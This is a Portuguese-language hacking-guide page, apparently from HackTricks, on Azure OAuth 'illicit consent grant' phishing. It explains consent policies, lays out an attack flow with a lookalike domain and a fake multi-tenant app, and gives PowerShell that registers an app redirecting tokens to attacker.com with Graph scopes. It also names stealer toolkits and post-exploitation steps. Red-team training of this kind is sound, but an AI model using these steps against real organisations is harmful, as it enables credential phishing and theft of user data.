Skip to content

Latest commit

 

History

History
189 lines (136 loc) · 13.9 KB

az-illicit-consent-grant.md

File metadata and controls

189 lines (136 loc) · 13.9 KB
Raw

Az - Illicit Consent Grant

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

OAuth App Phishing

Azure Applications pedem permissões para acessar os dados do usuário (informações básicas, mas também acesso a documentos, envio de e-mails...).
Se permitido, um usuário normal pode conceder consentimento apenas para "permissões de baixo impacto". Em todos os outros casos, é necessário o consentimento do administrador.
GA, ApplicationAdministrator, CloudApplication Administrator e uma função personalizada incluindo permissão para conceder permissões a aplicativos podem fornecer consentimento para todo o locatário.

Apenas permissões que não requerem consentimento do administrador são classificadas como baixo impacto. Estas são permissões necessárias para login básico são openid, profile, email, User.Read e offline_access. Se uma organização permite o consentimento do usuário para todos os aplicativos, um funcionário pode conceder consentimento a um aplicativo para ler as informações acima do seu perfil.

Portanto, um atacante poderia preparar um App malicioso e com um phishing, fazer o usuário aceitar o App e roubar seus dados.

2 Tipos de Ataques de Concessão de Consentimento Ilícito

  • Não autenticado: De uma conta externa, crie um aplicativo com as permissões User.Read e User.ReadBasic.All, por exemplo, faça phishing de um usuário e você poderá acessar informações do diretório.
  • Isso requer que o usuário phished possa aceitar aplicativos OAuth de ambientes externos!
  • Autenticado: Tendo comprometido um principal com privilégios suficientes, crie um aplicativo dentro da conta e faça phishing de algum usuário privilegiado que possa aceitar permissões OAuth privilegiadas.
  • Nesse caso, você já pode acessar as informações do diretório, então a permissão User.ReadBasic.All não é mais interessante.
  • Você provavelmente está interessado em permissões que exigem um administrador para concedê-las, porque o usuário comum não pode dar a aplicativos OAuth nenhuma permissão, por isso você precisa fazer phishing apenas desses usuários (mais sobre quais funções/permissões concedem esse privilégio mais tarde)

Verificar se os usuários estão autorizados a consentir

O seguinte comando PowerShell é usado para verificar a configuração de consentimento para usuários no Azure Active Directory (Azure AD) em relação à sua capacidade de consentir em aplicativos:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Desabilitar consentimento do usuário: Esta configuração proíbe os usuários de conceder permissões a aplicativos. Nenhum consentimento do usuário para aplicativos é permitido.
  • Usuários podem consentir com aplicativos de editores verificados ou da sua organização, mas apenas para permissões que você selecionar: Esta configuração permite que todos os usuários consintam apenas com aplicativos publicados por um editor verificado e aplicativos registrados no seu próprio tenant. Adiciona uma camada de controle permitindo consentimento apenas para permissões específicas.
  • Usuários podem consentir com todos os aplicativos: Esta configuração é mais permissiva e permite que todos os usuários consintam com quaisquer permissões para aplicativos, desde que essas permissões não exijam consentimento administrativo.
  • Política de consentimento de aplicativo personalizada: Esta configuração indica que uma política personalizada está em vigor, que pode ser adaptada a requisitos organizacionais específicos e pode envolver uma combinação de restrições baseadas no editor do aplicativo, nas permissões solicitadas pelo aplicativo e outros fatores.

Entendendo o Ataque de Concessão de Consentimento Ilícito

Em um ataque de concessão de consentimento ilícito, os atacantes enganam os usuários finais para que concedam permissões a um aplicativo malicioso registrado no Azure. Isso é feito fazendo o aplicativo parecer legítimo, levando as vítimas a clicarem inadvertidamente em um botão "Aceitar". Como resultado, o Azure AD emite um token para o site do atacante, permitindo que eles acessem e manipulem os dados da vítima, como ler ou enviar e-mails e acessar arquivos, sem precisar de uma conta organizacional.

Visão Geral do Fluxo do Ataque

O ataque envolve várias etapas direcionadas a uma empresa genérica. Veja como pode se desenrolar:

  1. Registro de Domínio e Hospedagem de Aplicativo: O atacante registra um domínio que se assemelha a um site confiável, por exemplo, "safedomainlogin.com". Sob este domínio, um subdomínio é criado (por exemplo, "companyname.safedomainlogin.com") para hospedar um aplicativo projetado para capturar códigos de autorização e solicitar tokens de acesso.
  2. Registro de Aplicativo no Azure AD: O atacante então registra um Aplicativo Multi-Tenant no seu Azure AD Tenant, nomeando-o com o nome da empresa alvo para parecer legítimo. Eles configuram a URL de Redirecionamento do aplicativo para apontar para o subdomínio que hospeda o aplicativo malicioso.
  3. Configuração de Permissões: O atacante configura o aplicativo com várias permissões de API (por exemplo, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Essas permissões, uma vez concedidas pelo usuário, permitem que o atacante extraia informações sensíveis em nome do usuário.
  4. Distribuição de Links Maliciosos: O atacante cria um link contendo o id do cliente do aplicativo malicioso e o compartilha com usuários alvo, enganando-os para que concedam consentimento.

Utilizando Ferramentas para o Ataque

O ataque pode ser facilitado usando ferramentas como 365-Stealer.

Preparação Pré-Ataque:

Se o atacante tiver algum nível de acesso a um usuário na organização da vítima, ele pode verificar se a política da organização permite que o usuário aceite aplicativos:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Para executar o ataque, o atacante precisaria criar um novo App em seu Azure Tenant (em Registros de Aplicativos), configurado com as permissões:

User.ReadBasic.All está dentro de Microsoft Graph em Delegated permissions. (Permissões de Aplicação sempre precisarão de aprovação extra).

  • User.ReadBasic.All é a permissão que permitirá ler informações de todos os usuários na organização, se concedida.
  • Lembre-se de que apenas GA, ApplicationAdministrator, CloudApplication Administrator e uma função personalizada incluindo permissão para conceder permissões a aplicativos podem fornecer consentimento em todo o tenant. Portanto, você deve phish um usuário com um desses papéis se quiser que ele aprove um App que requer consentimento de administrador.

Você também pode criar um App via cli com:

{% code overflow="wrap" %}

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

{% endcode %}

Confira https://www.alteredsecurity.com/post/introduction-to-365-stealer para aprender como configurá-lo.

{% hint style="warning" %} Note que o access token obtido será para o graph endpoint com os escopos: User.Read e User.ReadBasic.All (as permissões solicitadas). Você não poderá realizar outras ações (mas essas são suficientes para baixar informações sobre todos os usuários na organização). {% endhint %}

O365-Attack-Toolkit

Você também pode usar esta ferramenta para realizar este ataque.

Pós-Exploração

Uma vez que você tenha acesso ao usuário, pode fazer coisas como roubar documentos sensíveis e até mesmo fazer upload de arquivos de documentos com backdoor.

Referências

{% hint style="success" %} Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}